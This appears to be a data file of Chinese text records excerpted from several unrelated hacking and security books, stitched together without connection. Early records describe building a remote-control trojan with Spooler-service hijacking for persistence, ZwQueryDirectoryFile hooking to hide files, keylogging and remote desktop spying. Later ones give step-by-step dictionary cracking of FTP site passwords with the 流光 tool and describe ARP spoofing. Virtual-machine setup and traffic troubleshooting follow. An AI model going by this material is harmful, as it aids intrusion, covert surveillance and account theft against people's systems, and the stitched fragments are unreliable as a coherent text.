    {"text": "（1）服务端生成位图 （2）客户端接收、解析、显示桌面位图（阻塞模式） 这段代码果真是闻所未闻，看来俺下去还是要多做些Windows GDI编程的功课才行。"},
    {"text": "12.1.9 其他功能 以上部分主要介绍了远程控制软件中各种功能的实现，其实现方法基本类似——通过服务端进行实现，并把结果传送至客户端，客户端只负责发送命令和显示结果即可。"},
    {"text": "这里将介绍一些其他实现细节： （1）服务端替换服务自启动 关于自启动，前面已经介绍了两种方法：感染系统文件、ActiveX自启动。 这里将再介绍一种简单实用的方法：替换Windows系统服务自启动。 众所周知，Windows在启动时，会加载各种系统服务，为应用程序提供支持，而这些服务程序的位置是在注册表中注册的，通过更改注册表指定的服务程序的路径，可以达到替换服务自启动的目的。 例如，本案例通过替换Windows打印服务Spooler来实现自启动，Spooler服务指定的服务程序的路径如图12.4。"},
    {"text": "图12.4 在这里，将继续沿用后门编程技术中的实现方法：Loader项目负责释放服务端Server项目和用于键盘监控与文件隐藏的动态链接库HookLib项目，然后修改注册表实现Server替换Spooler服务进行自启动，解决方案如图12.5。"},
    {"text": "图12.5 替换服务的实现比较简单，代码如下： 系统服务的编写方式，尤其是在入口点处和普通可执行文件略有不同，远程控制的服务端需要改写为系统服务类型的程序，其入口点编写如下。"},
    {"text": "Windows操作系统在使用FindFirstFile()和FindNextFile()查询文件时，只是在这两个API中做了一些简单的处理，最终还要依靠Ntdll.dll中的ZwQueryDirectorytFile()来实现。"},
    {"text": "这里给出的文件隐藏方法，就是通过遍历进程中Kernel32.dll的导出表，获得其加载的Ntdll.dll的导出函数，并搜索出ZwQueryDirectroyFile()函数地址，修改此地址来达到挂钩的目的。"},
    {"text": "■ 主界面窗口（如图12.6所示） 图12.6 ■ 远程信息窗口（如图12.7所示） 图12.7 ■ 进程管理窗口（如图12.8所示） 图12.8 ■ 远程CMD窗口（如图12.9所示） 图12.9 ■ 键盘监控窗口（如图12.10所示） 图12.10 ■ 远程桌面窗口（如图12.11所示） 图12.11 ■ 文件管理窗口（如图12.12所示） 图12.12 12.3 代码实现与测试 12.3.1 代码实现 张飞还没等军师催促，就很有自知之明地画起了流程图。"},
    {"text": "1）主窗口过程MainDlgProc() 2）远程信息窗口过程SysDlgProc() 3）进程管理窗口过程ProcDlgProc() 4）远程CMD窗口过程CmdDlgProc() 5）键盘监控窗口过程KeyDlgProc() 6）文件管理窗口过程FileDlgProc() 7）远程桌面窗口过程DesktopDlgProc() 12.3.2 测试 下面我们就把这匹不吃草的马拉出来遛遛。 ■ 服务端上线测试（如图12.14所示） 图12.14 ■ 远程信息功能测试（如图12.15所示） 图12.15 ■ 进程管理功能测试（如图12.16所示） 图12.16 ■ 键盘监控功能测试（如图12.17所示） 图12.17 ■ 文件管理功能测试（如图12.18所示） 图12.18 ■ 远程桌面功能测试（如图12.19所示） 图12.19 看了咱这个马儿，偶忍不住了，恨不得快点看看曹操的桌面是长什么样子的！"},
    {"text": "小小黑客之路：黑客工具、攻防及防火墙编程入门 第4回 潜伏在优雅的界面之下 为你介绍界面的绘制和Windows消息机制的基础知识，这是开发高级黑客软件的必备知识。 在学习了部分Windows API后，张飞开始有了一定的成就感，他已经能够调用Windows API来完成一些想要的功能了。但是有一个问题一直困扰着他——“为什么我的程序都是只能输入命令的黑框框呢？”这种简单的黑框不仅平常使用不方便，而且也不好意思拿出去跟别人炫耀。 张飞决定一定得跨过这个槛，让自己的软件拥有窗口界面，于是他开始研究其他有窗口界面的软件，同时也询问了军师诸葛亮，终于他发现了UI（User Interface）用户界面这么一个玩意儿，通过Windows窗口相关API和GDI编程，可以实现具有窗体界面的软件。话说人靠衣装，佛靠金装，软件就得靠这界面了。带着这个伟大理想，张飞披星戴月，手持丈八蛇矛，勇闯群书。张飞的悟性还真不一般，几天就把设计UI的方法搞熟了，他发现有界面的软件确实好用，省去了很多要在键盘上敲命令的麻烦，简简单单地点击几下鼠标就可以达到目的。 Cover"},
    {"text": "Cover 恶意代码分析实战 ［Ｇｅｎｅｒａｌ Ｉｎｆｏｒｍａｔｉｏｎ］ 书名＝恶意代码分析实战 作者＝（美）斯科尔斯基，（美）哈尼克著 丛书名＝安全技术大系 页数＝７０４ ＳＳ号＝１３５１９９２５ 出版日期＝２０１４．０４ 出版社＝北京：电子工业出版社 ＩＳＢＮ号＝９７８－７－１２１－２２４６８－３ 中图法分类号＝ＴＰ３０９ 原书定价＝１２８．００ 参考文献格式＝（美）斯科尔斯基，（美）哈尼克著．恶意代码分析实战．北京： 电子工业出版社，２０１４．０４． 内容提要＝本书一方面从内容上更侧重于恶意代码分析技术与实践方法，而非各 类恶意代码的原理技术与检测对抗方法；另一方面更加侧重实用性，能够引导 读者们在实际恶意代码样本分析过程中使用书籍中所介绍的各种分析技术、工 具和技巧。"},
    {"text": "11 弹出【IPC】对话框，保持默认设置，然后单击 按 钮。 12 弹出【IIS】对话框，保持默认设置，单击 按钮。 13 弹出【FINGER】对话框，保持默认设置，单击 按 钮。 14 弹出【PRC】对话框，保持默认设置，单击 按钮。 15 弹出【MISC】对话框，保持默认设置，单击 按钮。 16 弹出【PLUGINS】对话框，选中左上方插件选择框中的【ALL】 单选钮，然后单击 按钮，再单击 按钮。 17 弹出【选项】对话框，其中的字典文件和报告保存位置使用默 认设置，单击 按钮。"},
    {"text": "18 弹出【网络参数】对话框，默认连接超时为30000毫秒（即30 秒），此值有些过长，在此全部改为3000毫秒（即3秒），设置完毕单 击 按钮。 19 返回【选项】对话框，把【并发线程数目】文本框中的数值改 小一些，本例中更改为“100”，该数值的大小与电脑的硬件配置和网 络速度有关，如果硬件配置较高、网速较快，可适当增大数值。"},
    {"text": "4. 使用流光进行破解 流光程序中带有大量的破解工具，能破解邮箱、FTP、HTTP和 MSSQL等密码，部分工具因长时间未更新已失效，或只能用在那些安全 级别较低的项目上，如免费的FTP网站。 下面以破解免费FTP网站的登录密码为例，具体的操作步骤如下。 1 在流光左侧窗格中选中【目标主机】 【FTP】复选框。 2 在【FTP】选项上单击鼠标右键，选择【编辑】 【添加】快 捷菜单项。 3 弹出【添加主机（FTP）】对话框，在文本框中输入要破解的 FTP网站地址，输入完毕单击 按钮。 4 返回流光程序窗口，在新出现的FTP 地址上单击鼠标右键，选 择【编辑】 【添加】快捷菜单项。 5 弹出【添加用户】对话框，在文本框中输入用户名，一般免费 FTP空间的用户名和网站名一样，输入完毕单击 按钮。"},
    {"text": "7 流光程序会使用默认的字典进行破解，如果该免费FTP的密码属 于弱口令，会很快被破解出来，并显示在【本次探测用户】对话框 中，单击 按钮关闭窗口。"},
    {"text": "如果想要使用字典文件进行破解，在开始破解前一定要选中想要 使用的字典文件，否则所添加的字典文件不起任何作用，流光程序仍 使用默认的弱口令集进行破解。 在使用流光的扫描和破解功能前，一定要做好自己的安全防护工 作，因为以上操作都会在对方电脑中留下痕迹，这有可能给自己带来 威胁。"},
    {"text": "① 网卡工作在混杂模式，能够接收、处理所有发送到网卡接口上 的数据包。 ② 局域网中的数据包能发送到网卡接口上。 第一个条件比较容易满足，大部分的网络监控、监测类软件都能 让网卡工作在混杂模式中。"},
    {"text": "被动式隐蔽性比较强，但对硬件设备有一定的要求，以常见的局 域网为例，需要在路由器之后接入集线器、已经开启镜像端口的交换 机，也可以让监控电脑做为网络服务器或者网桥串接入局域网里。 如果无法满足上面的要求，就需要使用主动的方式，最常用的方 法是采用ARP攻击，让交换机误认为监控电脑是局域网中所有电脑网络 数据包的接收目标，把数据包先发送到监控电脑里，再由这台电脑按 原来的目标进行转发。"},
    {"text": "ARP攻击通过伪造IP地址和MAC地址实现ARP 欺骗，能够在网络中 产生大量的 ARP 通信数据包使网络阻塞，攻击者只要持续不断的发出 伪造的ARP响应包就能更改目标主机的ARP缓存表，造成网络中断或中 间人攻击。 由 ARP 攻击会不停地改写交换机中的交换表，网络数据也要经过 监控电脑进行转发，这将导致整个局域网出现堵塞，网络速度变慢， 当网络中的数据量较大时，可能会让监控电脑负载过重，严重时将导 致死机。"},
    {"text": "使用科来网络分析系统排除网速慢故障 一般拥有多台电脑的家庭用户会采用路由器+交换机的方式来实现 网络共享，这些设备多不能对网速进行限制，经常会出现网络速度非 常慢的情况，原因多为某一台或几台电脑开启了占用网络资源较大的 程序，例如迅雷下载、迅雷看看、暴风影音在线视频、VoD、PPStream 和 PPLive等边下载边上传的网络软件，这些程序可能会随着系统的启 动而自动运行，有些用户甚至不知道它们在运行。"},
    {"text": "此时可以使用科来网络分析系统，配合集线器能 迅速、准确地定位故障电脑，减少检修工作量，提高工作效率。 先把装有科来网络分析系统的电脑和原来连接在路由器 LAN（局 域网）口上的所有电脑用网线连接到集线器上，再用一根网线连接路 由器和集线器，接着运行科来网络分析系统，按如下步骤进行操作。"},
    {"text": "1 在【分析】界面中可以查看【每秒数据包】盘表的数个，如果 该值长时间大于 500，就可以认为局域网中流量异常，在下方的【我 的图表】选项卡中，将鼠标指针移到【TopIP地址总流量（字节）】中 最高的柱状图上，将会显示局域网中流量最大的电脑的IP地址和流量 信息。 2 双击该柱状图切换到【IP浏览器】 【本地子网】 【192.168.100.0/24（11）】选项卡，在右侧窗格中的【IP 端点】界 面中，将显示该局域网中所有在线电脑的数据流量信息，从中可以快 速找到流量最大的IP地址。 3 双击流量最大的IP地址然后切换到【日志】选项卡，即可查看 该IP地址的连接记录，从信息中的kankan.xunlei字样，可以分析这台 电脑曾经使用过迅雷看看播放器。"},
    {"text": "第3章 建立安全的测试系统 在测试使用各种黑客工具时，首先要维护自身的安全，这是因为 网络上的黑客工具大部分已被人植入恶意代码，有可能导致使用者信 息的泄露、操作系统的破坏、硬盘文件资料的丢失、甚至电脑被远程 操控等问题。"},
    {"text": "3.1 了解虚拟机 虚拟机简单点讲就是虚拟出来的电脑，它是一款软件，安装在现 有的操作系统中，运行后可以模拟真实的电脑，在里面安装、运行操 作系统。 1. 什么是虚拟机 虚拟机（VM，Virtual Machine）是一款软件，可以模拟完整的电 脑功能，在虚拟机中运行的操作系统处于隔离环境中。 通过虚拟机软件可以在一台物理电脑中模拟出一台或多台虚拟电 脑，这些虚拟电脑就像真正的电脑那样工作，可以执行安装操作系 统、安装应用程序和访问网络资源等操作。 对用户来说，它只是运行 在物理电脑上的一个应用程序，但对在虚拟机中运行的程序而言，它 就是一台真正的电脑。 通俗地说，虚拟机是将一台电脑虚拟化实现一台电脑具备多台电 脑的功能，整机性能也会被各个虚拟机分配划分。 因此划分虚拟机越 多，各个虚拟机所分配的CPU、内存、存储空间资源也越少，因此安装 虚拟机的电脑通常是配置越高越好。"},
    {"text": "① 主机系统（Host OS）——指安装虚拟机前电脑中已经存在的 操作系统。 ② 客户机系统（Guest OS）——指运行在虚拟机中的操作系统。 例如一台电脑正在使用Windows 7操作系统，现在电脑中又安装了 虚拟机软件（VMware），在虚拟软件中又安装了 Windows XP操作系 统，那么主机系统为 Windows 7 系统，客户机系统为Windows XP系 统。"},
    {"text": "例如，有的测试需 要Windows XP、Windows 2003到Windows 7系统环境，而每个环境如 Windows XP，又需要Windows XP 不安装补丁、安装SP1补丁、安装SP2 补丁和安装SP3补丁等多种环境。"},
    {"text": "① 一些“破坏性”的实验，如对硬盘进行重新分区、格式化，重 新安装操作系统等。 如果在真实的计算机上进行这些实验，会引起如 下问题：一是实验后系统不容易恢复，因为在实验过程中电脑上的数 据会全部被删除；"},
    {"text": "研究病毒 和木马程序，就可以在虚拟机进行，这样即使虚拟系统感染了病毒、 木马程序，系统文件受到破坏，也不会对主机系统产生影响，使用虚 拟机的恢复功能，我们可以快速地把虚拟机恢复到实验之前的状态。"},
    {"text": "虚拟机软件可以运行在多个平台上，如Windows系统和Linux系 统。 目前可以在Windows 系统中运行的虚拟机主要有VMware、Virtual PC、Virtual box和VMLite等。 3.2 安装虚拟机 要想使用虚拟系统，先要在主机系统中安装虚拟机软件，然后在 虚拟机中安装操作系统。 下面以常用的VMware Workstation和Virtual PC为例进行介绍。 3.2.1 安装VMware Workstation虚拟机 VMware Workstation是VMware公司出品的一个多系统安装软件。 利用它，你可以在一台电脑上将硬盘和内存的一部分拿出来虚拟出若 干台机器，每台机器可以运行单独的操作系统而互不干扰。 这些 “新”机器各自拥有自己独立的CMOS、硬盘和操作系统，你可以像使 用普通机器一样对它们进行分区、格式化、安装系统和应用软件等操 作。"},
    {"text": "在使用上，这台虚拟机 和真正的物理主机没有太大的区别，都需要分区、格式化、安装操作 系统、安装应用软件。 VMware Workstation可以在每个窗口中加载一台虚拟机，每台虚 拟机都能运行单独的操作系统和应用程序，可以在多台虚拟机之间相 互切换，通过网络进行共享，还能挂起、恢复以及退出虚拟机，同时 又不影响主机系统、其他虚拟系统和其中运行的应用程序。 VMware Workstation的较新版本是8.0，本身是一款英文软件，网 上有对应的汉化程序，可以把该软件汉化成中文界面。 因此VMware Workstation的安装可以分为安装英文主程序和安装汉化程序两大步 骤。 1. 安装 VMware Workstation主程序 用户可以按如下步骤进行安装。 1 双击VMware Workstation安装程序图标，弹出【用户账户控 制】对话框，单击 按钮。"},
    {"text": "3 弹出【Setup Type】(安装类型)界面，有【Typical】（标准） 和【Custom】（自定义）两种类型，前者适合大部分情况和新手选 用，后者适合有特殊要求且对各个选项都比较熟悉的用户。"},
    {"text": "6 弹出【User Experience Improvement Program】（用户体验改 善计划）界面，如果用用不想向VMware公司发送信息，撤选【Help Improve VMware Workstation】（帮助改善VMware工作站）复选框， 单击 按钮。"},
    {"text": "2. 安装汉化程序 VMware Workstation为英文界面的软件，用户可以为其安装汉化 程序，使界面能用中文进行显示，以便于操作。 安装 VMware Workstation汉化程序的具体操作步骤如下。"},
    {"text": "7 弹出【计算机管理】对话框，在左侧窗格中导航到【服务和应 用程序】 【服务】选项卡，在右侧窗格中找到所有以VMware开头 的服务项，把状态为【已启动】的服务项停用。"},
    {"text": "VMware Workstation的汉化属于替换文件式的汉化，当被替换 的文件正处于使用状态时，就会出现替换失败的现象，此时需要停用 相应的服务，把使用中的文件释放，才能完成汉化操作。"},
    {"text": "3.2.2 安装Virtual PC虚拟机 Virtual PC是微软出品的免费虚拟机软件，最新版本为Virtual PC 2007 SP1，在Windows 7操作系统中还有专用的Windows Virtual PC和对应的XP模式，可以模拟实现完整的XP系统功能，用来解决 Widows 7系统对旧版本软件不能兼容的问题。 Virtual PC的作用与VMware Workstation相同，可以在一台电脑 上虚拟出若干台电脑，每台电脑可以运行独立的操作系统而互不干 扰，Virtual PC与VMware Workstation相比，占用的资源更少、操作 更加简单，适合初学者使用。 Virtual PC是一款英文软件，网上有对应的中文语言包，需要先 安装英文原版，然后安装语言包，最后把语言更改为中文。 1. 安装Virtual PC 2007 SP1 Virtual PC的最新版本为2007 SP1，可以到微软的官方网站上免 费下载。 安装Virtual PC 2007程序 文件下载后开始安装，具体的操作步骤如下。 1 双击Virtual PC 2007程序图标，弹出【用户账户控制】对话 框，单击 按钮。"},
    {"text": "4 弹出【Customer Information】（用户信息）界面，在 【Username】（用户名）文本框中输入用户名，在【Product Key】文 本框中输入注册码，其他保持默认即可，然后单击 按钮。"},
    {"text": "安装完成后会弹出【Installation Completed】(安装完 成)对话框。 单击 按钮即可完成VirtualPC程序的安装。 安装中文语言包 接下来为Virtual PC安装中文语言包，具体的操作步骤如下。 1 双击Virtual PC中文语言包安装程序，弹出【用户账户控制】 对话框，单击 按钮。 2 弹出【Microsoft Virtual PC 2007简体中文语言包】对话框， 在【目标文件夹】文本框中输入Virtual PC 2007英文版的安装路径， 如果在安装 Virtual PC 2007 英文版时没有更改默认的安装位置，则 不需更改【目标文件夹】文本框中的默认路径。 单击 按 钮即可完成Virtual PC中文语言包的安装。 2. 把Virtual PC的语言更改为中文 安装中文语言包后，Virtual PC默认仍为英文界面，还需要把语 言更改为中文，具体的操作步骤如下。 1单击 按钮，选择【所有程序】 【Microsoft Virtual PC】菜单项。 2 打开【Virtual PC Console】窗口，选择【File】 【Options】菜单项。 3 弹出【Virtual PC Options】对话框，选中左侧窗格中的 【Language】选项，然后在右侧窗格中的【Language】下拉列表选择 框中选中【SimplifiedChinese】选项。 单击 按钮保存设 置，关闭并重新打开Virtual PC程序，窗口将更改为中文界面。"},
    {"text": "3.3 配置虚拟机 安装完虚拟机后，还需对虚拟机进行设置，只有这样才能在虚拟 机中安装并运行所需要的操作系统。 3.3.1 配置VMware Workstation虚拟机 VMware Workstation虚拟出的硬件最接近真实硬件，其配置也比 较复杂，大致可分为新建虚拟机、加载虚拟机和硬件参数设置等几个 方面。 1. 新建虚拟机 首次运行VMware Workstation程序时，需要先创建一个新的虚拟 机，具体的操作步骤如下。 1在VMwareWorkstation程序窗口中单击【新建虚拟机】图标 。 2 弹出【欢迎使用新建虚拟机向导】界面，一般保持默认设置直 接单击 按钮。 3 弹出【安装客户机操作系统】界面，默认选中【我以后再安装 操作系统】单选钮，这适合于大部分的用户，然后单击 按 钮。 4 弹出【选择一个客户机操作系统】界面，用户可以根据需要进 行选择。 在此以安装Windows XP操作系统为例，先在【客户机操作系 统】功能区中选中【Microsoft Windows】单选钮，然后在【版本】下 拉列表框中选择【WindowsXPProfessional】选项，然后单击 按钮。 5 弹出【命名虚拟机】界面，在【虚拟机名称】文本框中输入虚 拟机的名称，在【位置】文本框中输入虚拟机的保存位置，例如想把 虚拟系统安装到E盘中，可以单击 按钮。 6 弹出【浏览文件夹】对话框，在【虚拟机位置】列表中定位到 【本地磁盘 E:】，单击 按钮，新建一个文件夹，并把 文件夹命名为【虚拟机】。 选中【虚拟机】文件夹单击 按 钮。"},
    {"text": "8 弹出【指定磁盘容量】界面，推荐选中【单个文件存储虚拟磁 盘】单选钮，然后根据需要在【最大磁盘空间】输入新的数值，例如 输入“250”，然后单击 按钮。"},
    {"text": "设置完毕后单击 按钮，返回【准备创建虚拟机】对话框。 11单击 按钮即可完成新虚拟机的创建工作。 2. 加载虚拟机 如果用户的电脑中存在已经安装好的虚拟机，可以使用VMware Workstation程序加载直接使用，具体的操作步骤如下。 1 在VMwareWorkstation程序窗口中单击【打开虚拟机】图标 。 2 弹出【打开】对话框，在此浏览到已经存在的虚拟机文件，选 中该文件并单击 按钮。 3 该虚拟机已加载到VMware Workstation程序窗口中。 3. 硬件参数设置 在VMware Workstation程序中，用户可以随时更改虚拟机中硬件 的参数，使其满足特殊的要求。 在更改虚拟机的硬件参数前，需要先 关闭虚拟机的电源，当虚拟机处于运行或挂起状态时，大部分的硬件 参数无法进行更改。 在VMware Workstation程序中，更改虚拟机硬件参数的具体操作 步骤如下。 1 关闭虚拟机的电源，在VMware Workstation程序窗口中单击 【编辑虚拟机设置】文字链接。 2 弹出【虚拟机设置】对话框，切换到【硬件】选项卡，选中 【内存】选项，右侧窗格中出现可移动滑块，拖动滑块可以改变内存 的容量，建议用户选择程序推荐的内存容量。 3 选中【处理器】选项，右侧窗格出现相应的设置选项，如果当 前电脑使用了双核及以上的CPU时，可以在【处理器数量】选项中选择 对应的核心数量； 如果使用了双线程CPU时，可以把【每个处理器核 数】选项的值设置为2。"},
    {"text": "4 选中【硬盘（IDE）】选项，右侧窗格中显示出虚拟机文件的相 应信息，单击【实用程序】下拉按钮弹出下拉菜单，共有4个选项。 【映射】选项可以把当前虚拟机的文件映射为主机系统中的一个分 区； 【碎片整理】选项能整理虚拟机操作系统的磁盘碎片； 【扩展容 量】选项能对当前硬盘分区容量进行扩展； 【压缩】选项能压缩虚拟 机文件的体积，释放那些不再使用的空间。"},
    {"text": "5 选中【CD/DVD（IDE）】选项，右侧窗格中显示出相应的设置选 项，其中【设备状态】功能区设置该设备是否可用； 【连接】功能区 设置连接方式，用户可以选中【使用物理驱动器】选项使用真实的光 驱设备，或者选中【使用 ISO 镜像文件】选项使用电脑中保存的光盘 镜像文件（ISO类型）。 6 选中【网络适配器】选项，右侧窗格中显示出相应的设置选 项，其中【设备状态】功能区设置该设备是否可用； 【网络连接】功 能区设置网络连接方式，默认选中【NAT】选项，此时虚拟机可以直接 通过主机系统访问网络，是最简单快速的上网方法，不过虚拟机系统 和主机系统不能互相访问； 【桥接】选项能让虚拟系统直接访问网 络，就像一台真实存在的电脑，可能需要为虚拟系统设置可用的IP和 DNS地址； 【Host-only】选项能让虚拟系统与主机系统隔离，只能与 其他的虚拟系统进行网络连接。"},
    {"text": "3.3.2 配置Virtual PC虚拟机 Virtual PC虚拟机的配置相对要简单一些，其配置选项较少，大 致可分为新建虚拟机、加载虚拟机和硬件参数设置3个方面。 1. 新建虚拟机 与 VMware Workstation程序相同，Virtual PC 虚拟机在启动后 也需要先创建一个新的虚拟机，具体的操作步骤如下。 1 在Virtual PC程序窗口中单击【新建】按钮 。 2 弹出【欢迎使用新建虚拟机向导】界面，单击 按 钮。 3 弹出【选项】界面，其中有3个选项，使用【新建一台虚拟机】 选项，可以创建一个新的虚拟机； 使用【以默认设置创建一台虚拟 机】选项，可以快速创建一个新的虚拟机； 使用【添加一台已存在的 虚拟机】选项，可以加载已经创建好的虚拟机。 在此选中【新建一台 虚拟机】单选钮，单击 按钮。 4 弹出【虚拟机的名称和位置】界面，单击 按钮。 5 弹出【已存在的虚拟机的名称和位置】对话框，在此设置好虚 拟系统的保存位置和文件名，单击 按钮。 6 返回到【虚拟机的名称和位置】界面，新的保存路径和文件名 显示在【名称和位置】文本框中，确认正确后单击 按钮。"},
    {"text": "7 弹出【操作系统】界面，在【操作系统】下拉列表框中选中想 要安装的操作系统，以安装Windows XP操作系统为例，应选中 【Windows&nbsp;XP】选项，选择完毕后单击 按钮。"},
    {"text": "8 弹出【内存】界面，在此可以设置虚拟机内存的大小，默认选 择了【使用推荐内存大小】单选钮，Virtual PC会自动设置可用的内 存大小。 如果想要手动设置，可以选中【更改分配内存大小】单选 钮。 9 出现【给虚拟机设置内存】滑块，左右拖动滑块的位置即可更 改内存数值的大小。"},
    {"text": "10 弹出【虚拟硬盘选项】界面，在此可以选择加载已有虚拟硬盘 还是新建一个虚拟硬盘，如果是首次运行 Virtual PC 程序时应该选 择【新建虚拟硬盘】单选钮，选择完毕单击 按钮。 11 弹出【虚拟硬盘位置】界面，用户可以通过单击 按 钮来更改虚拟硬盘文件的保存位置，在此单击 按钮，让虚 拟硬盘文件和虚拟机文件保存在同一位置。 12 弹出【完成新建虚拟机向导】界面，单击 按钮即 可完成虚拟机的创建。 13 新创建的虚拟机出现在【Virtual PC控制台】界面中，右键单 击该虚拟机图标，选择其中的【启动】菜单项即可启动该虚拟机。 2. 加载虚拟机和虚拟硬盘 如果用户的电脑中存在已经安装好的虚拟机和虚拟硬盘，可以使 用Virtual PC程序直接加载使用。 （1）加载虚拟机 在Virtual PC中加载已经存在的虚拟机的具体操作步骤如下。 1 在VirtualPC程序窗口中单击 按钮。 2 弹出【欢迎使用新建虚拟机向导】界面，单击 按 钮。 3 弹出【选项】界面，选中【添加一台已存在的虚拟机】单选 钮，单击 按钮。 4 弹出【已存存的虚拟机的名称和位置】界面，单击 按钮。 5 弹出【已存在的虚拟机的名称和位置】对话框，在此浏览到已 经存在的虚拟机，选中后单击 按钮。 6 返回【已存在的虚拟机的名称和位置】界面，加载的虚拟机文 件路径显示在【名称和位置】文本框中，确认正确后单击 按钮。 7 弹出【完成新建虚拟机向导】界面，单击 按钮即可 加载已经存在的虚拟机。 8 刚才加载的虚拟机出现在Virtual PC程序界面中，可以正常地 使用了。 （2）加载虚拟硬盘 在Virtual PC中加载虚拟硬盘的具体操作步骤如下。 1 按创建一个新的虚拟机相同的步骤执行1～9 的操作，在出现的 【虚拟硬盘选项】界面中选择【已存在的虚拟硬盘】单选钮，然后单 击 按钮。 2 弹出【虚拟硬盘位置】界面，单击 按钮。 3 弹出【虚拟硬盘位置】对话框，在此浏览到已经存在的虚拟硬 件文件，选中后单击 按钮。 4 返回【虚拟硬盘位置】界面，加载的虚拟硬盘文件路径显示在 【虚拟硬盘位置】文本框中，确认正确后单击 按钮。 5 弹出【完成新建虚拟机向导】界面，单击 按钮。 6 新的虚拟机出现在 Virtual PC 程序界面中，正常使用即可。 3. 硬件参数设置 在Virtual PC程序中，用户也可以随时更改虚拟机中硬件的参 数，使其满足使用要求。 在更改虚拟机的硬件参数前，同样需要先关闭虚拟机的电源，更 改虚拟机硬件参数的具体操作步骤如下。 1 在【Virtual PC控制台】界面，选中需要更改硬件参数的虚拟 机，单击 按钮。 2 弹出【设置新建虚拟机】对话框，在此可以对所有的硬件参数 进行设置。 选中左侧窗格中的选项，右侧窗格的显示内容会随之变 化，更改其中的参数即可更改对应硬件的参数。"},
    {"text": "3.4 安装虚拟操作系统 在虚拟机中安装操作系统与在真实电脑中差不多，同样需要进行 引导设置、硬盘分区、系统安装和驱动安装。 3.4.1 引导设置 VMware Workstation和Virtual PC都支持从物理光驱、光盘映像 文件、软驱、软盘映像文件和网络等途径进行引导，其中从物理光 驱、光盘映像文件和网络这3种引导方式比较常用。 1. VMware Workstation 在 VMware Workstation程序中，如果想要设置虚拟机从物理光驱 和光盘映像文件引导，可以在关闭虚拟机电源时进行设置。 （1）选择从物理光驱或光盘映像文件引导 按照前面介绍的方法打开【虚拟机设置】对话框，选中 【CD/DVD（IDE）】选项，在右侧窗格的【设备状态】功能区选中【打 开电源时连接】单选钮，在【连接】功能区根据需要进行设置。 想要 从物理光驱进行引导，就选中【使用物理驱动器】单选钮； 如果想要 使用光盘映像文件就选中【使用 ISO 镜像文件】单选钮，然后单击 按钮把ISO格式的镜像文件的路径添加到文本框中，最后单 击 按钮即可。 （2）设置引导顺序 如果想要更改虚拟机的引导顺序，选择从光驱、硬盘、网络或软 件进行引导，需要进入虚拟机的BIOS界面，然后根据需要进行更改， 具体步骤如下。 1 选择虚拟机左侧窗格中的【打开该虚拟机电源】命令，启动虚 拟机。 2 单击虚拟机主窗格，鼠标指针将消失，此时所有的键盘和鼠标 操作将只对该虚拟机起作用，用户可以随时按【Ctrl+Alt】组合键让 键盘、鼠标操作主机系统。 3 在虚拟机启动时按【F2】键，即可进入其BIOS 设置界面。 如果 错过了按键时间，还可以先按【Ctrl+Alt+Ins】组合键让虚拟机重新 启动，再按【F2】键进入BIOS设置界面。 4 先按键盘上的【 】或【 】键，切换到【Boot】选项 卡，再使用键盘上的【 】键移动选择条，选中想要设置成首选引 导设备的选项。 例如想把光驱设为第一引导设备，就需要选中【CD - ROM Drive】选项。 5 按键盘上的【＋】、【－】键，上下移动选中选项的位置，最 终把【CD - ROM Drive】选项移到最上端。 6 按键盘上的【F10】键弹出保存配置并重启对话框，按 【Enter】键即可。 7 虚拟机重新启动时会按BIOS中的设置顺序进行引导。 用户也可 以在虚拟机启动时按【Esc】键调出临时引导菜单，用【 】键选中 相应的选项进行引导。 2. Virtual PC 在Virtual PC程序中，更改虚拟机的引导顺序需要先启动虚拟 机，具体操作步骤如下。 1 选中【Virtual PC控制台】窗口中的虚拟机，然后单击 按钮，启动虚拟机。 2 虚拟机开始启动，选择【CD】 【载入ISO映像】菜单项。 3 弹出【选择CD映像】对话框，浏览到想要使用的光盘映像文 件，选中后单击 按钮。 4 选择【操作】 【Ctrl+Alt+Del】菜单项，或者按键盘右侧 的【Alt】+【Del】组合键，重启虚拟机。 5 在虚拟机重启时按键盘上的【Del】键，进入虚拟机的BIOS设置 界面。 6 按键盘上的【 】或【 】键切换到【Boot】选项卡，选 中【Boot Device Priority】选项。 7 按【Enter】键进入【Boot】子选项卡，选中【1st Boot Device】选项。 8 按【Enter】键弹出【Options】对话框，按【 】键选中想 要设置成首选引导设备的选项。 例如想把光驱设为第一引导设备，需 要选中【CDROM】选项。 9 按【Enter】键返回【Boot】对话框，【1st Boot Device】选 项中的值即为首先启动项【CDROM】。 10 按【F10】键弹出保存对话框，提示用户是否保存设置并重新 启动。 按【Enter】键确认并重启虚拟机，即可从ISO文件引导，随后 进入光盘引导界面。"},
    {"text": "3.4.2 安装操作系统和增强工具 在虚拟机中安装操作系统的方法与真实电脑基本一样，需要依次 执行硬盘分区、格式化和系统安装等操作，由于操作系统不同，安装 步骤也不相同，在此就不进行逐一介绍了，用户按照系统安装程序的 提示安装即可。 即使安装过程中出现了错误，只需重启虚拟机再次执 行分区、格式化和系统安装操作即可，主机系统不会受到任何的影 响，用户可以在虚拟机中大胆地操作。 当虚拟机中的操作系统安装完成后，还需要安装虚拟机自带的增 强工具。"},
    {"text": "1. VMware Workstation 在 VMware Workstation程序中，安装增强工具的具体操作步骤如 下。 1 在安装并启动虚拟操作系统后，VMwareWorkstation 会在窗口 下端显示安装增强工具提醒栏，单击 按钮即可。 2 如果该对话框并未出现或者被用户关闭了，还可以选择【虚拟 机】 【安装VMware&nbsp;Tools】菜单项。 3 弹出【VMware产品安装】对话框，为安装增强工具做准备。 4 如果操作系统的自动运行功能被禁用，还可以打开【我的电 脑】窗口，找到虚拟光驱，其名称中带有VMware Tools字样，打开后 运行其中的【Setup】文件即可。 5 弹出【欢迎使用VMware Tools的安装向导】界面，单击 按钮。"},
    {"text": "6 弹出【安装类型】界面，每种安装类型后都的详细的说明，在 此选择默认的【典型安装】，单击 按钮。 7 弹出【准备安装程序】界面，单击 按钮。"},
    {"text": "8 安装向导开始安装 VMware 工具软件，安装过程中最好不要在 虚拟机中操作键盘和鼠标。 稍后即可完成安装，部分增强功能需要重 新启动虚拟机才能正常使用。 2. Virtual PC 与VMware Workstation一样，Virtual PC也可以安装增强工具， 具体的操作步骤如下。 1 安装并启动Virtual PC虚拟系统后，选择【操作】 【安装 或升级附加模块】菜单项。 2 弹出【新建虚拟机】对话框，单击 按钮。"},
